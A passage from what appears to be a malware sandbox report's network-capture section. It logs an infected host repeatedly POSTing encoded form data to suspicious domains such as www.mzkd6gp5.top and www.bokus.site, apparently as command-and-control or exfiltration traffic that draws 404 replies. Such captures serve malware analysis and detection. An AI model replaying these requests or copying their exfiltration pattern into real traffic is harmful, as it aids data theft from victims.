Jan 9, 2025 16:51:17.815377951 CET	52	IN	Data Raw: 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 3c 2f 73 63 72 69 70 74 3e 0a 20 20 20 20 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: } </script> </body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.11.20	49799	104.21.96.1	80

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 16:51:22.958621025 CET	795	OUT	POST /3u0p/ HTTP/1.1 Host: www.mzkd6gp5.top Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en Connection: close Cache-Control: no-cache Content-Length: 199 Content-Type: application/x-www-form-urlencoded Origin: http://www.mzkd6gp5.top Referer: http://www.mzkd6gp5.top/3u0p/ User-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; VirtualBox Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 Data Raw: 6c 56 3d 68 30 77 54 7a 30 51 4d 2b 73 7a 64 34 58 4a 33 6e 47 45 56 43 58 2f 32 6c 38 56 62 72 69 46 4a 36 52 38 58 54 6f 57 30 43 6f 45 57 75 58 67 37 37 4f 6b 70 7a 57 6e 7a 63 50 37 48 4c 35 47 50 76 48 6c 71 6d 66 6b 6e 67 67 32 6f 42 6a 73 30 65 31 4d 59 75 53 6e 67 70 6a 36 61 67 48 64 4e 56 35 65 76 37 62 7a 70 45 76 50 53 62 38 44 31 73 7a 6c 45 4c 68 72 2f 2b 66 2b 58 55 77 6a 4c 38 71 79 50 6a 30 45 34 2b 65 38 6b 39 46 69 31 48 4c 45 6f 47 78 36 35 7a 57 77 6d 61 33 6f 4f 46 37 73 77 76 31 51 31 34 52 75 66 6f 5a 65 49 76 53 57 69 51 76 61 4d 32 34 4a 4d 34 50 46 54 48 77 3d 3d Data Ascii: lV=h0wTz0QM+szd4XJ3nGEVCX/2l8VbriFJ6R8XToW0CoEWuXg77OkpzWnzcP7HL5GPvHlqmfkngg2oBjs0e1MYuSngpj6agHdNV5ev7bzpEvPSb8D1szlELhr/+f+XUwjL8qyPj0E4+e8k9Fi1HLEoGx65zWwma3oOF7swv1Q14RufoZeIvSWiQvaM24JM4PFTHw==
Jan 9, 2025 16:51:23.504389048 CET	814	IN	HTTP/1.1 404 Not Found Date: Thu, 09 Jan 2025 15:51:23 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ZFs509HqJLvYm79m0vnQyDfLxdTKEfFPP7GSWI5E84fJWyTIVVqEIrhmvbsXom%2BSIpmeBwddYXJmEvuXmDeymdw6IE%2BXBhz70heOb4uN9r4zxw1rWhkFk89r1sEnEEkFCXi1"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ff596a0eb3b6075-ORD Content-Encoding: gzip alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=118631&min_rtt=118631&rtt_var=59315&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=795&delivery_rate=0&cwnd=247&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 66 0d 0a 1f 8b 08 00 00 00 00 00 00 03 00 00 00 ff ff 0d 0a Data Ascii: f
Jan 9, 2025 16:51:23.504467964 CET	105	IN	Data Raw: 36 33 0d 0a b3 c9 28 c9 cd b1 e3 e5 b2 c9 48 4d 4c b1 b3 29 c9 2c c9 49 b5 33 31 30 51 f0 cb 2f 51 70 cb 2f cd 4b b1 d1 87 08 da e8 83 95 f0 72 d9 24 e5 a7 54 82 e8 e4 d4 bc 92 d4 22 3b 9b 0c 43 74 1d 19 86 76 36 fa 50 69 90 d9 45 76 30 c5 79 e9 Data Ascii: 63(HML),I310Q/Qp/Kr$T";Ctv6PiEv0yyr0.a3
Jan 9, 2025 16:51:23.504498005 CET	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.11.20	49800	104.21.96.1	80

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 16:51:25.615835905 CET	815	OUT	POST /3u0p/ HTTP/1.1 Host: www.mzkd6gp5.top Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en Connection: close Cache-Control: no-cache Content-Length: 219 Content-Type: application/x-www-form-urlencoded Origin: http://www.mzkd6gp5.top Referer: http://www.mzkd6gp5.top/3u0p/ User-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; VirtualBox Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 Data Raw: 6c 56 3d 68 30 77 54 7a 30 51 4d 2b 73 7a 64 35 33 35 33 6d 68 6f 56 48 33 2f 33 35 73 56 62 68 43 46 4e 36 52 41 58 54 70 6a 7a 44 65 63 57 74 79 63 37 70 2f 6b 70 79 57 6e 7a 46 2f 37 4f 57 4a 47 45 76 48 5a 49 6d 62 6b 6e 67 67 79 6f 42 68 30 30 66 45 4d 62 76 43 6e 69 6d 44 36 59 76 6e 64 4e 56 35 65 76 37 62 6d 4d 45 72 6a 53 59 4e 7a 31 74 53 6c 48 43 42 72 38 75 76 2b 58 44 67 6a 50 38 71 7a 63 6a 32 77 65 2b 59 67 6b 39 45 79 31 48 65 6f 72 52 42 36 2f 33 57 78 70 4c 31 5a 47 4a 34 49 59 6a 6d 49 75 79 55 32 4c 70 50 54 53 79 67 69 47 54 38 47 2b 79 49 77 6b 36 4e 45 49 61 35 51 6e 2f 42 66 68 44 71 33 36 6f 2b 37 77 75 69 4f 64 30 6a 6f 3d Data Ascii: lV=h0wTz0QM+szd5353mhoVH3/35sVbhCFN6RAXTpjzDecWtyc7p/kpyWnzF/7OWJGEvHZImbknggyoBh00fEMbvCnimD6YvndNV5ev7bmMErjSYNz1tSlHCBr8uv+XDgjP8qzcj2we+Ygk9Ey1HeorRB6/3WxpL1ZGJ4IYjmIuyU2LpPTSygiGT8G+yIwk6NEIa5Qn/BfhDq36o+7wuiOd0jo=
Jan 9, 2025 16:51:26.157382965 CET	911	IN	HTTP/1.1 404 Not Found Date: Thu, 09 Jan 2025 15:51:26 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=9YxU0im9%2FgKYglvQzQ1aOytbTHnz8wo03tiSNRr36MRNGZBmLWf9FN2XmJNA585Z1i5FGqtxPgLf8uQY0%2B62nNLGqrwMyk9BWSimeERlNSiyc5fFgz7%2BwHTZu0zvO0gbnBTW"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ff596b18b08e81e-ORD Content-Encoding: gzip alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=119801&min_rtt=119801&rtt_var=59900&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=815&delivery_rate=0&cwnd=249&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 36 64 0d 0a 1f 8b 08 00 00 00 00 00 00 03 b3 c9 28 c9 cd b1 e3 e5 b2 c9 48 4d 4c b1 b3 29 c9 2c c9 49 b5 33 31 30 51 f0 cb 2f 51 70 cb 2f cd 4b b1 d1 87 08 da e8 83 95 f0 72 d9 24 e5 a7 54 82 e8 e4 d4 bc 92 d4 22 3b 9b 0c 43 74 1d 19 86 76 36 fa 50 69 90 d9 45 76 30 c5 79 e9 99 79 15 c8 72 fa 30 d3 f4 a1 2e 01 00 0b d9 61 33 92 00 00 00 0d 0a Data Ascii: 6d(HML),I310Q/Qp/Kr$T";Ctv6PiEv0yyr0.a3
Jan 9, 2025 16:51:26.157428026 CET	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.11.20	49801	104.21.96.1	80

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 16:51:28.271469116 CET	2578	OUT	POST /3u0p/ HTTP/1.1 Host: www.mzkd6gp5.top Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en Connection: close Cache-Control: no-cache Content-Length: 7367 Content-Type: application/x-www-form-urlencoded Origin: http://www.mzkd6gp5.top Referer: http://www.mzkd6gp5.top/3u0p/ User-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; VirtualBox Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 Data Raw: 6c 56 3d 68 30 77 54 7a 30 51 4d 2b 73 7a 64 35 33 35 33 6d 68 6f 56 48 33 2f 33 35 73 56 62 68 43 46 4e 36 52 41 58 54 70 6a 7a 44 65 55 57 75 48 51 37 37 6f 77 70 31 57 6e 7a 4e 66 37 4c 57 4a 47 5a 76 48 78 4d 6d 62 68 63 67 69 36 6f 42 41 55 30 59 32 30 62 6d 43 6e 69 74 6a 36 62 67 48 64 59 56 35 4f 56 37 62 32 4d 45 72 6a 53 59 4f 72 31 71 44 6c 48 45 42 72 2f 2b 66 2b 4c 55 77 6a 33 38 71 72 4d 6a 32 30 52 2f 75 51 6b 39 6b 43 31 45 6f 63 72 54 68 36 39 77 57 77 32 4c 31 56 4a 4a 34 6b 55 6a 6a 63 55 79 54 71 4c 6f 6f 32 37 6d 6c 44 46 4f 4f 32 47 31 37 51 44 74 66 63 63 55 4b 6b 2b 2f 69 65 41 63 66 48 53 68 73 4c 77 38 52 4c 58 6c 30 76 55 78 6c 33 63 62 79 31 50 53 6b 71 44 72 4b 6b 71 62 43 58 62 6c 61 4a 2f 32 55 32 6a 46 61 43 63 76 33 71 6e 54 43 75 61 58 69 69 68 71 71 51 4f 4a 73 6f 4e 6d 56 35 53 58 45 51 6a 73 61 76 76 44 66 79 32 44 68 4c 4a 59 4a 6c 2f 44 39 61 63 6e 44 62 6d 78 53 44 65 69 72 6e 59 4c 71 33 57 79 68 6a 4a 45 6d 75 34 49 38 32 30 35 67 45 46 31 41 59 33 41 67 35 [TRUNCATED] Data Ascii: lV=h0wTz0QM+szd5353mhoVH3/35sVbhCFN6RAXTpjzDeUWuHQ77owp1WnzNf7LWJGZvHxMmbhcgi6oBAU0Y20bmCnitj6bgHdYV5OV7b2MErjSYOr1qDlHEBr/+f+LUwj38qrMj20R/uQk9kC1EocrTh69wWw2L1VJJ4kUjjcUyTqLoo27mlDFOO2G17QDtfccUKk+/ieAcfHShsLw8RLXl0vUxl3cby1PSkqDrKkqbCXblaJ/2U2jFaCcv3qnTCuaXiihqqQOJsoNmV5SXEQjsavvDfy2DhLJYJl/D9acnDbmxSDeirnYLq3WyhjJEmu4I8205gEF1AY3Ag5Kkz75E/mEKZjz01eEkFXxojxw0FeKHzJ1V4+ZUcUd4WhaWChZgq4FajJd685UHl+YEXVCbdHd8x6vEraU/inpWqlaWdOxrCRSMHtdn2vcTQAHUqyHTkE1BzBSQbzYwtPJPvLbTJAoMBVFaDvQy/WAgeRlnkW/mkYJmkQmgDzh9i5CFlGT32cTcqgKss25fo4zszhZyoBzKd0fAJEbCRwdyRo+7JlvahzmFHhQB4kG0FlskL9tAQhWfs+5h1UUHP36bT+WbKLjUF3yIFHGBUjCcNh51MBshWtjFQC/gem2ps/AJ7SnwRfryQHVQXmmfILcXp4qYgYNGZY41XVmH+u5plDlO2kZ5APyQc6tntNl2UD1nfOXD59f+bCqKp9Jy950Qhb1Cd05qv0i4Mcpy3XRjkKaCU7+63eEmJjMYWpx2FTIzBZh8YC3Oi2nPPRkeaTWuTr+VM64cmHCt/uzJ34ZuR18nq9HHt3IuWxTA06MuqlP5QTwFPkTEDfsvzViuN4i1rjdpTm3ec1axfUBklphCF3A3XXz09uL2V+9/gxKJXZaVD2MX3HTo7/wJBxnddqzgEsi00VADtBAX+/17I8RjlFYtBBTfVyeVwlP5qxrsay3lk+9J0mINgw8RWgNYY+Dj4qgSrJ585lRJ1YpbM4rhhohgkXpyDAQK [TRUNCATED]
Jan 9, 2025 16:51:28.271497011 CET	3867	OUT	Data Raw: 32 73 4d 66 6c 4d 35 39 79 41 39 4f 4b 2f 53 52 46 61 37 42 37 57 52 2f 33 30 57 7a 58 67 63 69 6d 76 44 7a 49 71 65 70 35 2f 67 59 68 2b 53 61 2f 61 55 4f 35 70 6c 38 67 68 47 57 51 6b 47 45 4e 4f 63 36 5a 2f 59 33 6b 7a 77 6e 7a 75 4c 50 2b 42 Data Ascii: 2sMflM59yA9OK/SRFa7B7WR/30WzXgcimvDzIqep5/gYh+Sa/aUO5pl8ghGWQkGENOc6Z/Y3kzwnzuLP+BQevab1BQL6Wvmcl47ytt7GKrJeTNJpJzYE6UETuJOWsFdwWbFl3nID9aMo0CBS0TKTeDK4KwxIl4j0+KvD0lxrwdVSjpt7Fuu04aOsplYuI5zvlmKj3Ll3NbqhPuNcVEmG8+SdWjMsSaJemQp3ISj3enZcxmO/c8C
Jan 9, 2025 16:51:28.271570921 CET	1519	OUT	Data Raw: 76 52 51 4c 61 39 33 6a 61 44 34 56 43 2f 53 4a 75 74 67 53 31 52 4d 41 74 71 55 55 56 44 41 72 6b 70 55 4b 31 6c 53 76 69 71 54 50 31 2b 4d 36 4b 61 4a 50 52 30 6d 57 76 30 69 59 4b 31 4a 75 6d 53 36 35 63 6e 66 63 75 2f 4e 7a 62 74 4c 73 6d 72 Data Ascii: vRQLa93jaD4VC/SJutgS1RMAtqUUVDArkpUK1lSviqTP1+M6KaJPR0mWv0iYK1JumS65cnfcu/NzbtLsmrjWllI6OhuBcaQyB5TwURNiGw8eO3NDDmbpCqwsYiQyfR2j6odMbHjRT6JGWfuFGVBqe+3m9gUxY3MqdumPy7DIdHTNZzyWHGK+m9AfOzvAISudwld1HGPzswbj/UkvGLH6G6lJDyIyqMzHgNhMq13NOHvE98eaFiT
Jan 9, 2025 16:51:28.855375051 CET	912	IN	HTTP/1.1 404 Not Found Date: Thu, 09 Jan 2025 15:51:28 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ovUOGJDxekgVVdv1hCWr6tjnLgQ3gIe0GGP1WftOKUhkcL6%2FgN5ncrva2n%2BbHRU3LySEvHDHejL72YkN%2F3UdOrXv1gvUauUxw1Z3HNORiIWlvtrjYk7lOOUwXNxcJq8xauNV"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ff596c21e47114d-ORD Content-Encoding: gzip alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=118941&min_rtt=118941&rtt_var=59470&sent=5&recv=9&lost=0&retrans=0&sent_bytes=0&recv_bytes=7964&delivery_rate=0&cwnd=236&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 36 64 0d 0a 1f 8b 08 00 00 00 00 00 00 03 b3 c9 28 c9 cd b1 e3 e5 b2 c9 48 4d 4c b1 b3 29 c9 2c c9 49 b5 33 31 30 51 f0 cb 2f 51 70 cb 2f cd 4b b1 d1 87 08 da e8 83 95 f0 72 d9 24 e5 a7 54 82 e8 e4 d4 bc 92 d4 22 3b 9b 0c 43 74 1d 19 86 76 36 fa 50 69 90 d9 45 76 30 c5 79 e9 99 79 15 c8 72 fa 30 d3 f4 a1 2e 01 00 0b d9 61 33 92 00 00 00 0d 0a Data Ascii: 6d(HML),I310Q/Qp/Kr$T";Ctv6PiEv0yyr0.a3
Jan 9, 2025 16:51:28.855509043 CET	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.11.20	49802	104.21.96.1	80

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 16:51:30.923999071 CET	530	OUT	GET /3u0p/?lV=s2YzwEkhsdaL/kJQlHk7A3SE2/Z36REv9AUKdpz0O4EFo1wYmv8+70PTeuLpJbel1HoKntoiuCCwLjgxW1UIuCv8mzvY6w9FRbC+/5arF9GGIcX7zSRGFgQ=&LSbaT=zft4LoBw HTTP/1.1 Host: www.mzkd6gp5.top Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en Connection: close User-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; VirtualBox Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
Jan 9, 2025 16:51:31.459163904 CET	928	IN	HTTP/1.1 404 Not Found Date: Thu, 09 Jan 2025 15:51:31 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=w7dablU66gtaVq1nZcSaPvOgLeiTvvD0R2PcQ0X0dn7n6ftEh0VnU6%2F1BKg%2FPntAXkFOprO3O5cpH3zHDvDA%2F8GFpAGY4uqGnuIt32uDXJk6yQiN%2F5vJP9Eh1FxXd2sLK%2BEp"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ff596d2ac92114d-ORD alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=118780&min_rtt=118780&rtt_var=59390&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=530&delivery_rate=0&cwnd=236&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 39 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a Data Ascii: 92<html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Jan 9, 2025 16:51:31.459302902 CET	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.11.20	49803	199.192.21.169	80

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 16:51:36.651113033 CET	789	OUT	POST /qps0/ HTTP/1.1 Host: www.bokus.site Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en Connection: close Cache-Control: no-cache Content-Length: 199 Content-Type: application/x-www-form-urlencoded Origin: http://www.bokus.site Referer: http://www.bokus.site/qps0/ User-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; VirtualBox Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 Data Raw: 6c 56 3d 6c 63 58 74 63 50 4e 2b 46 4a 48 4a 32 4a 72 77 2f 65 56 54 2f 50 6a 54 68 4b 76 32 56 2b 4e 63 59 49 55 59 64 47 4c 71 62 67 50 74 6b 43 69 39 74 79 38 5a 30 6d 68 73 47 38 32 2b 73 6b 67 6c 79 4d 6f 6f 53 73 6c 36 4f 31 51 61 69 50 4a 63 32 63 70 39 4b 48 5a 4e 6f 46 4e 58 4a 5a 31 35 4c 6c 44 6d 34 43 32 51 5a 4d 48 6b 37 47 50 33 5a 75 6b 55 78 72 4f 6b 49 65 56 30 59 31 32 5a 6a 68 67 67 55 39 6d 46 2b 57 44 56 63 63 4b 44 48 4b 37 36 31 58 72 41 75 4b 76 68 35 7a 6d 70 39 45 39 43 4b 2f 7a 47 75 4e 6c 31 62 56 67 74 66 39 6c 6a 4d 4e 43 68 36 70 66 76 64 49 63 42 76 41 3d 3d Data Ascii: lV=lcXtcPN+FJHJ2Jrw/eVT/PjThKv2V+NcYIUYdGLqbgPtkCi9ty8Z0mhsG82+skglyMooSsl6O1QaiPJc2cp9KHZNoFNXJZ15LlDm4C2QZMHk7GP3ZukUxrOkIeV0Y12ZjhggU9mF+WDVccKDHK761XrAuKvh5zmp9E9CK/zGuNl1bVgtf9ljMNCh6pfvdIcBvA==
Jan 9, 2025 16:51:36.843951941 CET	918	IN	HTTP/1.1 404 Not Found Date: Thu, 09 Jan 2025 15:51:36 GMT Server: Apache Content-Length: 774 Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 0d 0a 3c 68 65 61 64 3e 0d 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0d 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0d 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 0d 0a 09 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 0d 0a 09 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 3f 66 61 6d 69 6c 79 3d 52 6f 62 6f 74 6f 3a 34 30 30 2c 37 30 30 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0d 0a 0d 0a 09 3c 6c 69 6e 6b 20 74 79 70 65 3d 22 74 65 78 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang="en"><head><meta charset="utf-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width, initial-scale=1"><title>404 Not Found</title><link href="https://fonts.googleapis.com/css?family=Roboto:400,700" rel="stylesheet"><link type="text/css" rel="stylesheet" href="/css/style404.css" /></head><body><div id="notfound"><div class="notfound"><div class="notfound-404"><h1>4<span>0</span>4</h1></div><h2>the page you requested could not found</h2><form class="notfound-search"><input type="text" placeholder="Search..."><button type="button"><span></span></button></form></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.11.20	49804	199.192.21.169	80

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 16:51:39.351360083 CET	809	OUT	POST /qps0/ HTTP/1.1 Host: www.bokus.site Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en Connection: close Cache-Control: no-cache Content-Length: 219 Content-Type: application/x-www-form-urlencoded Origin: http://www.bokus.site Referer: http://www.bokus.site/qps0/ User-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; VirtualBox Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 Data Raw: 6c 56 3d 6c 63 58 74 63 50 4e 2b 46 4a 48 4a 35 4e 58 77 38 35 42 54 75 2f 6a 55 38 36 76 32 62 65 4e 59 59 49 59 59 64 44 79 79 62 53 72 74 71 41 71 39 73 78 6b 5a 33 6d 68 73 56 38 32 37 69 45 67 79 79 4d 6b 4b 53 6f 6c 36 4f 32 73 61 69 4f 35 63 78 72 64 2b 49 58 5a 50 78 31 4e 56 44 35 31 35 4c 6c 44 6d 34 43 79 32 5a 4d 66 6b 37 57 66 33 66 38 41 62 37 4c 4f 6e 42 2b 56 30 50 46 32 64 6a 68 68 4e 55 38 71 76 2b 51 48 56 63 59 4f 44 48 59 54 31 67 6e 72 47 71 4b 75 4f 34 41 37 45 31 6e 6c 31 62 75 48 69 32 75 78 74 65 44 74 33 43 50 52 48 50 65 65 54 2b 5a 6d 48 66 4b 64 61 79 45 45 61 62 77 41 75 6b 31 72 62 64 49 41 7a 2f 5a 35 7a 51 7a 49 3d Data Ascii: lV=lcXtcPN+FJHJ5NXw85BTu/jU86v2beNYYIYYdDyybSrtqAq9sxkZ3mhsV827iEgyyMkKSol6O2saiO5cxrd+IXZPx1NVD515LlDm4Cy2ZMfk7Wf3f8Ab7LOnB+V0PF2djhhNU8qv+QHVcYODHYT1gnrGqKuO4A7E1nl1buHi2uxteDt3CPRHPeeT+ZmHfKdayEEabwAuk1rbdIAz/Z5zQzI=
Jan 9, 2025 16:51:39.544110060 CET	918	IN	HTTP/1.1 404 Not Found Date: Thu, 09 Jan 2025 15:51:39 GMT Server: Apache Content-Length: 774 Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 0d 0a 3c 68 65 61 64 3e 0d 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0d 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0d 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 0d 0a 09 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 0d 0a 09 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 3f 66 61 6d 69 6c 79 3d 52 6f 62 6f 74 6f 3a 34 30 30 2c 37 30 30 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0d 0a 0d 0a 09 3c 6c 69 6e 6b 20 74 79 70 65 3d 22 74 65 78 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang="en"><head><meta charset="utf-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width, initial-scale=1"><title>404 Not Found</title><link href="https://fonts.googleapis.com/css?family=Roboto:400,700" rel="stylesheet"><link type="text/css" rel="stylesheet" href="/css/style404.css" /></head><body><div id="notfound"><div class="notfound"><div class="notfound-404"><h1>4<span>0</span>4</h1></div><h2>the page you requested could not found</h2><form class="notfound-search"><input type="text" placeholder="Search..."><button type="button"><span></span></button></form></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.11.20	49805	199.192.21.169	80

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 16:51:42.056781054 CET	1289	OUT	POST /qps0/ HTTP/1.1 Host: www.bokus.site Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en Connection: close Cache-Control: no-cache Content-Length: 7367 Content-Type: application/x-www-form-urlencoded Origin: http://www.bokus.site Referer: http://www.bokus.site/qps0/ User-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; VirtualBox Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 Data Raw: 6c 56 3d 6c 63 58 74 63 50 4e 2b 46 4a 48 4a 35 4e 58 77 38 35 42 54 75 2f 6a 55 38 36 76 32 62 65 4e 59 59 49 59 59 64 44 79 79 62 53 6a 74 71 31 6d 39 6a 77 6b 5a 32 6d 68 73 57 38 32 41 69 45 67 76 79 4d 38 4f 53 6f 67 42 4f 7a 67 61 6a 6f 74 63 77 5a 31 2b 53 48 5a 50 73 46 4e 57 4a 5a 30 37 4c 6c 7a 69 34 42 61 32 5a 4d 66 6b 37 55 58 33 4a 65 6b 62 30 72 4f 